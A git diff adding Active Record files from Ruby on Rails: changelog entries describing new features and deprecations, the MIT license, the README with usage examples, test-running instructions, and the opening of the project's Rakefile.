+ isolation level. However, support is disabled for mysql versions below 5,
+ because they are affected by a bug (http://bugs.mysql.com/bug.php?id=39170)
+ which means the isolation level gets persisted outside the transaction.
+
+ *Jon Leighton*
+
+* `ActiveModel::ForbiddenAttributesProtection` is included by default
+ in Active Record models. Check the docs of `ActiveModel::ForbiddenAttributesProtection`
+ for more details.
+
+ *Guillermo Iguaran*
+
+* Remove integration between Active Record and
+ `ActiveModel::MassAssignmentSecurity`, `protected_attributes` gem
+ should be added to use `attr_accessible`/`attr_protected`. Mass
+ assignment options has been removed from all the AR methods that
+ used it (ex. `AR::Base.new`, `AR::Base.create`, `AR::Base#update_attributes`, etc).
+
+ *Guillermo Iguaran*
+
+* Fix the return of querying with an empty hash.
+ Fixes #6971.
+
+ User.where(token: {})
+
+ Before:
+
+ #=> SELECT * FROM users;
+
+ After:
+
+ #=> SELECT * FROM users WHERE 1=0;
+
+ *Damien Mathieu*
+
+* Fix creation of through association models when using `collection=[]`
+ on a `has_many :through` association from an unsaved model.
+ Fixes #7661.
+
+ *Ernie Miller*
+
+* Explain only normal CRUD sql (select / update / insert / delete).
+ Fix problem that explains unexplainable sql.
+ Fixes #7544 #6458.
+
+ *kennyj*
+
+* You can now override the generated accessor methods for stored attributes
+ and reuse the original behavior with `read_store_attribute` and `write_store_attribute`,
+ which are counterparts to `read_attribute` and `write_attribute`.
+
+ *Matt Jones*
+
+* Accept `belongs_to` (including polymorphic) association keys in queries.
+
+ The following queries are now equivalent:
+
+ Post.where(author: author)
+ Post.where(author_id: author)
+
+ PriceEstimate.where(estimate_of: treasure)
+ PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+
+ *Peter Brown*
+
+* Use native `mysqldump` command instead of `structure_dump` method
+ when dumping the database structure to a sql file. Fixes #5547.
+
+ *kennyj*
+
+* PostgreSQL inet and cidr types are converted to `IPAddr` objects.
+
+ *Dan McClain*
+
+* PostgreSQL array type support. Any datatype can be used to create an
+ array column, with full migration and schema dumper support.
+
+ To declare an array column, use the following syntax:
+
+ create_table :table_with_arrays do |t|
+ t.integer :int_array, array: true
+ # integer[]
+ t.integer :int_array, array: true, length: 2
+ # smallint[]
+ t.string :string_array, array: true, length: 30
+ # char varying(30)[]
+ end
+
+ This respects any other migration detail (limits, defaults, etc).
+ Active Record will serialize and deserialize the array columns on
+ their way to and from the database.
+
+ One thing to note: PostgreSQL does not enforce any limits on the
+ number of elements, and any array can be multi-dimensional. Any
+ array that is multi-dimensional must be rectangular (each sub array
+ must have the same number of elements as its siblings).
+
+ If the `pg_array_parser` gem is available, it will be used when
+ parsing PostgreSQL's array representation.
+
+ *Dan McClain*
+
+* Attribute predicate methods, such as `article.title?`, will now raise
+ `ActiveModel::MissingAttributeError` if the attribute being queried for
+ truthiness was not read from the database, instead of just returning `false`.
+
+ *Ernie Miller*
+
+* `ActiveRecord::SchemaDumper` uses Ruby 1.9 style hash, which means that the
+ schema.rb file will be generated using this new syntax from now on.
+
+ *Konstantin Shabanov*
+
+* Map interval with precision to string datatype in PostgreSQL. Fixes #7518.
+
+ *Yves Senn*
+
+* Fix eagerly loading associations without primary keys. Fixes #4976.
+
+ *Kelley Reynolds*
+
+* Rails now raise an exception when you're trying to run a migration that has an invalid
+ file name. Only lower case letters, numbers, and '_' are allowed in migration's file name.
+ Please see #7419 for more details.
+
+ *Jan Bernacki*
+
+* Fix bug when calling `store_accessor` multiple times.
+ Fixes #7532.
+
+ *Matt Jones*
+
+* Fix store attributes that show the changes incorrectly.
+ Fixes #7532.
+
+ *Matt Jones*
+
+* Fix `ActiveRecord::Relation#pluck` when columns or tables are reserved words.
+
+ *Ian Lesperance*
+
+* Allow JSON columns to be created in PostgreSQL and properly encoded/decoded.
+ to/from database.
+
+ *Dickson S. Guedes*
+
+* Fix time column type casting for invalid time string values to correctly return `nil`.
+
+ *Adam Meehan*
+
+* Allow to pass Symbol or Proc into `:limit` option of #accepts_nested_attributes_for.
+
+ *Mikhail Dieterle*
+
+* ActiveRecord::SessionStore has been extracted from Active Record as `activerecord-session_store`
+ gem. Please read the `README.md` file on the gem for the usage.
+
+ *Prem Sichanugrist*
+
+* Fix `reset_counters` when there are multiple `belongs_to` association with the
+ same foreign key and one of them have a counter cache.
+ Fixes #5200.
+
+ *Dave Desrochers*
+
+* `serialized_attributes` and `_attr_readonly` become class method only. Instance reader methods are deprecated.
+
+ *kennyj*
+
+* Round usec when comparing timestamp attributes in the dirty tracking.
+ Fixes #6975.
+
+ *kennyj*
+
+* Use inversed parent for first and last child of `has_many` association.
+
+ *Ravil Bayramgalin*
+
+* Fix `Column.microseconds` and `Column.fast_string_to_time` to avoid converting
+ timestamp seconds to a float, since it occasionally results in inaccuracies
+ with microsecond-precision times. Fixes #7352.
+
+ *Ari Pollak*
+
+* Fix AR#dup to nullify the validation errors in the dup'ed object. Previously the original
+ and the dup'ed object shared the same errors.
+
+ *Christian Seiler*
+
+* Raise `ArgumentError` if list of attributes to change is empty in `update_all`.
+
+ *Roman Shatsov*
+
+* Fix AR#create to return an unsaved record when AR::RecordInvalid is
+ raised. Fixes #3217.
+
+ *Dave Yeu*
+
+* Fixed table name prefix that is generated in engines for namespaced models.
+
+ *Wojciech Wnętrzak*
+
+* Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`.
+ Fixes #4772.
+
+ *Seamus Abshere*
+
+* Allow Relation#merge to take a proc.
+
+ This was requested by DHH to allow creating of one's own custom
+ association macros.
+
+ For example:
+
+ module Commentable
+ def has_many_comments(extra)
+ has_many :comments, -> { where(:foo).merge(extra) }
+ end
+ end
+
+ class Post < ActiveRecord::Base
+ extend Commentable
+ has_many_comments -> { where(:bar) }
+ end
+
+ *Jon Leighton*
+
+* Add CollectionProxy#scope.
+
+ This can be used to get a Relation from an association.
+
+ Previously we had a #scoped method, but we're deprecating that for
+ AR::Base, so it doesn't make sense to have it here.
+
+ This was requested by DHH, to facilitate code like this:
+
+ Project.scope.order('created_at DESC').page(current_page).tagged_with(@tag).limit(5).scoping do
+ @topics = @project.topics.scope
+ @todolists = @project.todolists.scope
+ @attachments = @project.attachments.scope
+ @documents = @project.documents.scope
+ end
+
+ *Jon Leighton*
+
+* Add `Relation#load`.
+
+ This method explicitly loads the records and then returns `self`.
+
+ Rather than deciding between "do I want an array or a relation?",
+ most people are actually asking themselves "do I want to eager load
+ or lazy load?" Therefore, this method provides a way to explicitly
+ eager-load without having to switch from a `Relation` to an array.
+
+ Example:
+
+ @posts = Post.where(published: true).load
+
+ *Jon Leighton*
+
+* `Relation#order`: make new order prepend old one.
+
+ User.order("name asc").order("created_at desc")
+ # SELECT * FROM users ORDER BY created_at desc, name asc
+
+ This also affects order defined in `default_scope` or any kind of associations.
+
+ *Bogdan Gusiev*
+
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an
+ array of records. Use `Relation#to_a` if you really want an array.
+
+ In some specific cases, this may cause breakage when upgrading.
+ However in most cases the `ActiveRecord::Relation` will just act as a
+ lazy-loaded array and there will be no problems.
+
+ Note that calling `Model.all` with options (e.g.
+ `Model.all(conditions: '...')` was already deprecated, but it will
+ still return an array in order to make the transition easier.
+
+ `Model.scoped` is deprecated in favour of `Model.all`.
+
+ `Relation#all` still returns an array, but is deprecated (since it
+ would serve no purpose if we made it return a `Relation`).
+
+ *Jon Leighton*
+
+* `:finder_sql` and `:counter_sql` options on collection associations
+ are deprecated. Please transition to using scopes.
+
+ *Jon Leighton*
+
+* `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
+ associations are deprecated. Please transition to using `has_many
+ :through`.
+
+ *Jon Leighton*
+
+* Added `#update_columns` method which updates the attributes from
+ the passed-in hash without calling save, hence skipping validations and
+ callbacks. `ActiveRecordError` will be raised when called on new objects
+ or when at least one of the attributes is marked as read only.
+
+ post.attributes # => {"id"=>2, "title"=>"My title", "body"=>"My content", "author"=>"Peter"}
+ post.update_columns(title: 'New title', author: 'Sebastian') # => true
+ post.attributes # => {"id"=>2, "title"=>"New title", "body"=>"My content", "author"=>"Sebastian"}
+
+ *Sebastian Martinez + Rafael Mendonça França*
+
+* The migration generator now creates a join table with (commented) indexes every time
+ the migration name contains the word `join_table`:
+
+ rails g migration create_join_table_for_artists_and_musics artist_id:index music_id
+
+ *Aleksey Magusev*
+
+* Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to`
+ and `remove_belongs_to` are acceptable. References are reversible.
+
+ Examples:
+
+ # Create a user_id column
+ add_reference(:products, :user)
+ # Create a supplier_id, supplier_type columns and appropriate index
+ add_reference(:products, :supplier, polymorphic: true, index: true)
+ # Remove polymorphic reference
+ remove_reference(:products, :supplier, polymorphic: true)
+
+ *Aleksey Magusev*
+
+* Add `:default` and `:null` options to `column_exists?`.
+
+ column_exists?(:testings, :taggable_id, :integer, null: false)
+ column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+
+ *Aleksey Magusev*
+
+* `ActiveRecord::Relation#inspect` now makes it clear that you are
+ dealing with a `Relation` object rather than an array:.
+
+ User.where(age: 30).inspect
+ # => <ActiveRecord::Relation [#<User ...>, #<User ...>, ...]>
+
+ User.where(age: 30).to_a.inspect
+ # => [#<User ...>, #<User ...>]
+
+ The number of records displayed will be limited to 10.
+
+ *Brian Cardarella, Jon Leighton & Damien Mathieu*
+
+* Add `collation` and `ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
+ Example:
+
+ development:
+ adapter: postgresql
+ host: localhost
+ database: rails_development
+ username: foo
+ password: bar
+ encoding: UTF8
+ collation: ja_JP.UTF8
+ ctype: ja_JP.UTF8
+
+ *kennyj*
+
+* Changed `validates_presence_of` on an association so that children objects
+ do not validate as being present if they are marked for destruction. This
+ prevents you from saving the parent successfully and thus putting the parent
+ in an invalid state.
+
+ *Nick Monje & Brent Wheeldon*
+
+* `FinderMethods#exists?` now returns `false` with the `false` argument.
+
+ *Egor Lynko*
+
+* Added support for specifying the precision of a timestamp in the PostgreSQL
+ adapter. So, instead of having to incorrectly specify the precision using the
+ `:limit` option, you may use `:precision`, as intended. For example, in a migration:
+
+ def change
+ create_table :foobars do |t|
+ t.timestamps precision: 0
+ end
+ end
+
+ *Tony Schneider*
+
+* Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an
+ array of arrays containing the typecasted values:
+
+ Person.pluck(:id, :name)
+ # SELECT people.id, people.name FROM people
+ # [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+ *Jeroen van Ingen & Carlos Antonio da Silva*
+
+* Improve the derivation of HABTM join table name to take account of nesting.
+ It now takes the table names of the two models, sorts them lexically and
+ then joins them, stripping any common prefix from the second table name.
+
+ Some examples:
+
+ Top level models (Category <=> Product)
+ Old: categories_products
+ New: categories_products
+
+ Top level models with a global table_name_prefix (Category <=> Product)
+ Old: site_categories_products
+ New: site_categories_products
+
+ Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
+ Old: categories_products
+ New: categories_products
+
+ Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
+ Old: categories_products
+ New: admin_categories_products
+
+ Nested models in a parent model (Catalog::Category <=> Catalog::Product)
+ Old: categories_products
+ New: catalog_categories_products
+
+ Nested models in different parent models (Catalog::Category <=> Content::Page)
+ Old: categories_pages
+ New: catalog_categories_content_pages
+
+ *Andrew White*
+
+* Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of
+ this is to move when the exceptions are raised from the point of declaration
+ to when the association is built. This is consistent with other association
+ validity checks.
+
+ *Andrew White*
+
+* Added `stored_attributes` hash which contains the attributes stored using
+ `ActiveRecord::Store`. This allows you to retrieve the list of attributes
+ you've defined.
+
+ class User < ActiveRecord::Base
+ store :settings, accessors: [:color, :homepage]
+ end
+
+ User.stored_attributes[:settings] # [:color, :homepage]
+
+ *Joost Baaij & Carlos Antonio da Silva*
+
+* PostgreSQL default log level is now 'warning', to bypass the noisy notice
+ messages. You can change the log level using the `min_messages` option
+ available in your config/database.yml.
+
+ *kennyj*
+
+* Add uuid datatype support to PostgreSQL adapter.
+
+ *Konstantin Shabanov*
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if
+ migrations are pending.
+
+ *Richard Schneeman*
+
+* Added `#destroy!` which acts like `#destroy` but will raise an
+ `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
+
+ *Marc-André Lafortune*
+
+* Added support to `CollectionAssociation#delete` for passing `fixnum`
+ or `string` values as record ids. This finds the records responding
+ to the `id` and executes delete on them.
+
+ class Person < ActiveRecord::Base
+ has_many :pets
+ end
+
+ person.pets.delete("1") # => [#<Pet id: 1>]
+ person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
+
+ *Francesco Rodriguez*
+
+* Deprecated most of the 'dynamic finder' methods. All dynamic methods
+ except for `find_by_...` and `find_by_...!` are deprecated. Here's
+ how you can rewrite the code:
+
+ * `find_all_by_...` can be rewritten using `where(...)`
+ * `find_last_by_...` can be rewritten using `where(...).last`
+ * `scoped_by_...` can be rewritten using `where(...)`
+ * `find_or_initialize_by_...` can be rewritten using
+ `where(...).first_or_initialize`
+ * `find_or_create_by_...` can be rewritten using
+ `find_or_create_by(...)` or where(...).first_or_create`
+ * `find_or_create_by_...!` can be rewritten using
+ `find_or_create_by!(...) or `where(...).first_or_create!`
+
+ The implementation of the deprecated dynamic finders has been moved
+ to the `activerecord-deprecated_finders` gem. See below for details.
+
+ *Jon Leighton*
+
+* Deprecated the old-style hash based finder API. This means that
+ methods which previously accepted "finder options" no longer do. For
+ example this:
+
+ Post.find(:all, conditions: { comments_count: 10 }, limit: 5)
+
+ Should be rewritten in the new style which has existed since Rails 3:
+
+ Post.where(comments_count: 10).limit(5)
+
+ Note that as an interim step, it is possible to rewrite the above as:
+
+ Post.all.merge(where: { comments_count: 10 }, limit: 5)
+
+ This could save you a lot of work if there is a lot of old-style
+ finder usage in your application.
+
+ `Relation#merge` now accepts a hash of
+ options, but they must be identical to the names of the equivalent
+ finder method. These are mostly identical to the old-style finder
+ option names, except in the following cases:
+
+ * `:conditions` becomes `:where`.
+ * `:include` becomes `:includes`.
+
+ The code to implement the deprecated features has been moved out to the
+ `activerecord-deprecated_finders` gem. This gem is a dependency of Active
+ Record in Rails 4.0, so the interface works out of the box. It will no
+ longer be a dependency from Rails 4.1 (you'll need to add it to the
+ `Gemfile` in 4.1), and will be maintained until Rails 5.0.
+
+ *Jon Leighton*
+
+* It's not possible anymore to destroy a model marked as read only.
+
+ *Johannes Barre*
+
+* Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects.
+
+ Record.from(subquery)
+ Record.from(subquery, :a)
+
+ *Radoslav Stankov*
+
+* Added custom coders support for ActiveRecord::Store. Now you can set
+ your custom coder like this:
+
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+ *Andrey Voronkov*
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by
+ default to avoid silent data loss. This can be disabled by specifying
+ `strict: false` in your `database.yml`.
+
+ *Michael Pearson*
+
+* Added default order to `first` to assure consistent results among
+ different database engines. Introduced `take` as a replacement to
+ the old behavior of `first`.
+
+ *Marcelo Silveira*
+
+* Added an `:index` option to automatically create indexes for references
+ and belongs_to statements in migrations.
+
+ The `references` and `belongs_to` methods now support an `index`
+ option that receives either a boolean value or an options hash
+ that is identical to options available to the add_index method:
+
+ create_table :messages do |t|
+ t.references :person, index: true
+ end
+
+ Is the same as:
+
+ create_table :messages do |t|
+ t.references :person
+ end
+ add_index :messages, :person_id
+
+ Generators have also been updated to use the new syntax.
+
+ *Joshua Wood*
+
+* Added `#find_by` and `#find_by!` to mirror the functionality
+ provided by dynamic finders in a way that allows dynamic input more
+ easily:
+
+ Post.find_by name: 'Spartacus', rating: 4
+ Post.find_by "published_at < ?", 2.weeks.ago
+ Post.find_by! name: 'Spartacus'
+
+ *Jon Leighton*
+
+* Added ActiveRecord::Base#slice to return a hash of the given methods with
+ their names as keys and returned values as values.
+
+ *Guillermo Iguaran*
+
+* Deprecate eager-evaluated scopes.
+
+ Don't use this:
+
+ scope :red, where(color: 'red')
+ default_scope where(color: 'red')
+
+ Use this:
+
+ scope :red, -> { where(color: 'red') }
+ default_scope { where(color: 'red') }
+
+ The former has numerous issues. It is a common newbie gotcha to do
+ the following:
+
+ scope :recent, where(published_at: Time.now - 2.weeks)
+
+ Or a more subtle variant:
+
+ scope :recent, -> { where(published_at: Time.now - 2.weeks) }
+ scope :recent_red, recent.where(color: 'red')
+
+ Eager scopes are also very complex to implement within Active
+ Record, and there are still bugs. For example, the following does
+ not do what you expect:
+
+ scope :remove_conditions, except(:where)
+ where(...).remove_conditions # => still has conditions
+
+ *Jon Leighton*
+
+* Remove IdentityMap
+
+ IdentityMap has never graduated to be an "enabled-by-default" feature, due
+ to some inconsistencies with associations, as described in this commit:
+
+ https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6
+
+ Hence the removal from the codebase, until such issues are fixed.
+
+ *Carlos Antonio da Silva*
+
+* Added the schema cache dump feature.
+
+ `Schema cache dump` feature was implemented. This feature can dump/load internal state of `SchemaCache` instance
+ because we want to boot rails more quickly when we have many models.
+
+ Usage notes:
+
+ 1) execute rake task.
+ RAILS_ENV=production bundle exec rake db:schema:cache:dump
+ => generate db/schema_cache.dump
+
+ 2) add config.active_record.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
+
+ 3) boot rails.
+ RAILS_ENV=production bundle exec rails server
+ => use db/schema_cache.dump
+
+ 4) If you remove clear dumped cache, execute rake task.
+ RAILS_ENV=production bundle exec rake db:schema:cache:clear
+ => remove db/schema_cache.dump
+
+ *kennyj*
+
+* Added support for partial indices to PostgreSQL adapter.
+
+ The `add_index` method now supports a `where` option that receives a
+ string with the partial index criteria.
+
+ add_index(:accounts, :code, where: 'active')
+
+ generates
+
+ CREATE INDEX index_accounts_on_code ON accounts(code) WHERE active
+
+ *Marcelo Silveira*
+
+* Implemented `ActiveRecord::Relation#none` method.
+
+ The `none` method returns a chainable relation with zero records
+ (an instance of the NullRelation class).
+
+ Any subsequent condition chained to the returned relation will continue
+ generating an empty relation and will not fire any query to the database.
+
+ *Juanjo Bazán*
+
+* Added the `ActiveRecord::NullRelation` class implementing the null
+ object pattern for the Relation class.
+
+ *Juanjo Bazán*
+
+* Added new `dependent: :restrict_with_error` option. This will add
+ an error to the model, rather than raising an exception.
+
+ The `:restrict` option is renamed to `:restrict_with_exception` to
+ make this distinction explicit.
+
+ *Manoj Kumar & Jon Leighton*
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+ create_join_table :products, :categories
+ # =>
+ # create_table :categories_products, id: false do |td|
+ # td.integer :product_id, null: false
+ # td.integer :category_id, null: false
+ # end
+
+ *Rafael Mendonça França*
+
+* The primary key is always initialized in the @attributes hash to `nil` (unless
+ another value has been specified).
+
+ *Aaron Paterson*
+
+* In previous releases, the following would generate a single query with
+ an `OUTER JOIN comments`, rather than two separate queries:
+
+ Post.includes(:comments)
+ .where("comments.name = 'foo'")
+
+ This behaviour relies on matching SQL string, which is an inherently
+ flawed idea unless we write an SQL parser, which we do not wish to
+ do.
+
+ Therefore, it is now deprecated.
+
+ To avoid deprecation warnings and for future compatibility, you must
+ explicitly state which tables you reference, when using SQL snippets:
+
+ Post.includes(:comments)
+ .where("comments.name = 'foo'")
+ .references(:comments)
+
+ Note that you do not need to explicitly specify references in the
+ following cases, as they can be automatically inferred:
+
+ Post.includes(:comments).where(comments: { name: 'foo' })
+ Post.includes(:comments).where('comments.name' => 'foo')
+ Post.includes(:comments).order('comments.name')
+
+ You do not need to worry about this unless you are doing eager
+ loading. Basically, don't worry unless you see a deprecation warning
+ or (in future releases) an SQL error due to a missing JOIN.
+
+ *Jon Leighton*
+
+* Support for the `schema_info` table has been dropped. Please
+ switch to `schema_migrations`.
+
+ *Aaron Patterson*
+
+* Connections *must* be closed at the end of a thread. If not, your
+ connection pool can fill and an exception will be raised.
+
+ *Aaron Patterson*
+
+* PostgreSQL hstore records can be created.
+
+ *Aaron Patterson*
+
+* PostgreSQL hstore types are automatically deserialized from the database.
+
+ *Aaron Patterson*
+
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
new file mode 100644
index 0000000..0d7fb86
--- /dev/null
+++ b/activerecord/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2004-2013 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
new file mode 100644
index 0000000..822e460
--- /dev/null
+++ b/activerecord/README.rdoc
@@ -0,0 +1,213 @@
+= Active Record -- Object-relational mapping put on rails
+
+Active Record connects classes to relational database tables to establish an
+almost zero-configuration persistence layer for applications. The library
+provides a base class that, when subclassed, sets up a mapping between the new
+class and an existing table in the database. In the context of an application,
+these classes are commonly referred to as *models*. Models can also be
+connected to other models; this is done by defining *associations*.
+
+Active Record relies heavily on naming in that it uses class and association
+names to establish mappings between respective database tables and foreign key
+columns. Although these mappings can be defined explicitly, it's recommended
+to follow naming conventions, especially when getting started with the
+library.
+
+A short rundown of some of the major features:
+
+* Automated mapping between classes and tables, attributes and columns.
+
+ class Product < ActiveRecord::Base
+ end
+
+ The Product class is automatically mapped to the table named "products",
+ which might look like this:
+
+ CREATE TABLE products (
+ id int(11) NOT NULL auto_increment,
+ name varchar(255),
+ PRIMARY KEY (id)
+ );
+
+ This would also define the following accessors: `Product#name` and
+ `Product#name=(new_name)`
+
+ {Learn more}[link:classes/ActiveRecord/Base.html]
+
+
+* Associations between objects defined by simple class methods.
+
+ class Firm < ActiveRecord::Base
+ has_many :clients
+ has_one :account
+ belongs_to :conglomerate
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Associations/ClassMethods.html]
+
+
+* Aggregations of value objects.
+
+ class Account < ActiveRecord::Base
+ composed_of :balance, class_name: 'Money',
+ mapping: %w(balance amount)
+ composed_of :address,
+ mapping: [%w(address_street street), %w(address_city city)]
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
+
+
+* Validation rules that can differ for new or existing objects.
+
+ class Account < ActiveRecord::Base
+ validates :subdomain, :name, :email_address, :password, presence: true
+ validates :subdomain, uniqueness: true
+ validates :terms_of_service, acceptance: true, on: :create
+ validates :password, :email_address, confirmation: true, on: :create
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Validations.html]
+
+
+* Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.).
+
+ class Person < ActiveRecord::Base
+ before_destroy :invalidate_payment_plan
+ # the `invalidate_payment_plan` method gets called just before Person#destroy
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Callbacks.html]
+
+
+* Inheritance hierarchies.
+
+ class Company < ActiveRecord::Base; end
+ class Firm < Company; end
+ class Client < Company; end
+ class PriorityClient < Client; end
+
+ {Learn more}[link:classes/ActiveRecord/Base.html]
+
+
+* Transactions.
+
+ # Database transaction
+ Account.transaction do
+ david.withdrawal(100)
+ mary.deposit(100)
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Transactions/ClassMethods.html]
+
+
+* Reflections on columns, associations, and aggregations.
+
+ reflection = Firm.reflect_on_association(:clients)
+ reflection.klass # => Client (class)
+ Firm.columns # Returns an array of column descriptors for the firms table
+
+ {Learn more}[link:classes/ActiveRecord/Reflection/ClassMethods.html]
+
+
+* Database abstraction through simple adapters.
+
+ # connect to SQLite3
+ ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: 'dbfile.sqlite3')
+
+ # connect to MySQL with authentication
+ ActiveRecord::Base.establish_connection(
+ adapter: 'mysql2',
+ host: 'localhost',
+ username: 'me',
+ password: 'secret',
+ database: 'activerecord'
+ )
+
+ {Learn more}[link:classes/ActiveRecord/Base.html] and read about the built-in support for
+ MySQL[link:classes/ActiveRecord/ConnectionAdapters/MysqlAdapter.html],
+ PostgreSQL[link:classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], and
+ SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html].
+
+
+* Logging support for Log4r[http://log4r.rubyforge.org] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
+
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
+ ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
+
+
+* Database agnostic schema management with Migrations.
+
+ class AddSystemSettings < ActiveRecord::Migration
+ def up
+ create_table :system_settings do |t|
+ t.string :name
+ t.string :label
+ t.text :value
+ t.string :type
+ t.integer :position
+ end
+
+ SystemSetting.create name: 'notice', label: 'Use notice?', value: 1
+ end
+
+ def down
+ drop_table :system_settings
+ end
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Migration.html]
+
+
+== Philosophy
+
+Active Record is an implementation of the object-relational mapping (ORM)
+pattern[http://www.martinfowler.com/eaaCatalog/activeRecord.html] by the same
+name described by Martin Fowler:
+
+ "An object that wraps a row in a database table or view,
+ encapsulates the database access, and adds domain logic on that data."
+
+Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is
+object-relational mapping. The prime directive for this mapping has been to minimize
+the amount of code needed to build a real-world domain model. This is made possible
+by relying on a number of conventions that make it easy for Active Record to infer
+complex relations and structures from a minimal amount of explicit direction.
+
+Convention over Configuration:
+* No XML-files!
+* Lots of reflection and run-time extension
+* Magic is not inherently a bad word
+
+Admit the Database:
+* Lets you drop down to SQL for odd cases and performance
+* Doesn't attempt to duplicate or replace data definitions
+
+
+== Download and installation
+
+The latest version of Active Record can be installed with RubyGems:
+
+ % [sudo] gem install activerecord
+
+Source code can be downloaded as part of the Rails project on GitHub:
+
+* https://github.com/rails/rails/tree/master/activerecord
+
+
+== License
+
+Active Record is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at:
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000..2f3d516
--- /dev/null
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,31 @@
+== Setup
+
+If you don't have the environment set make sure to read
+
+ http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#testing-active-record
+
+== Running the Tests
+
+You can run a particular test file from the command line, e.g.
+
+ $ ruby -Itest test/cases/base_test.rb
+
+To run a specific test:
+
+ $ ruby -Itest test/cases/base_test.rb -n test_something_works
+
+You can run with a database other than the default you set in test/config.yml, using the ARCONN
+environment variable:
+
+ $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb
+
+You can run all the tests for a given database via rake:
+
+ $ rake test_mysql
+
+The 'rake test' task will run all the tests for mysql, mysql2, sqlite3 and postgresql.
+
+== Custom Config file
+
+By default, the config file is expected to be at the path test/config.yml. You can specify a
+custom location with the ARCONFIG environment variable.
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
new file mode 100644
index 0000000..0523314
--- /dev/null
+++ b/activerecord/Rakefile
@@ -0,0 +1,233 @@
+require 'rake/testtask'
+require 'rake/packagetask'
+require 'rubygems/package_task'
+
+require File.expand_path(File.dirname(__FILE__)) + "/test/config"
+require File.expand_path(File.dirname(__FILE__)) + "/test/support/config"
+
+def run_without_aborting(*tasks)
+ errors = []
+
+ tasks.each do |task|
+ begin
+ Rake::Task[task].invoke
+ rescue Exception
+ errors << task
+ end
+ end
+
+ abort "Errors running #{errors.join(', ')}" if errors.any?
+end
+
+desc 'Run mysql, mysql2, sqlite, and postgresql tests by default'
+task :default => :test
+
+desc 'Run mysql, mysql2, sqlite, and postgresql tests'
+task :test do
+ tasks = defined?(JRUBY_VERSION) ?
+ %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) :
+ %w(test_mysql test_mysql2 test_sqlite3 test_postgresql)
+ run_without_aborting(*tasks)
+end
+
+namespace :test do
+ task :isolated do
+ tasks = defined?(JRUBY_VERSION) ?
+ %w(isolated_test_jdbcmysql isolated_test_jdbcsqlite3 isolated_test_jdbcpostgresql) :
+ %w(isolated_test_mysql isolated_test_mysql2 isolated_test_sqlite3 isolated_test_postgresql)
+ run_without_aborting(*tasks)
+ end
+end
+
+namespace :db do
+ task :create => ['mysql:build_databases', 'postgresql:build_databases']
+ task :drop => ['mysql:drop_databases', 'postgresql:drop_databases']
+end
+
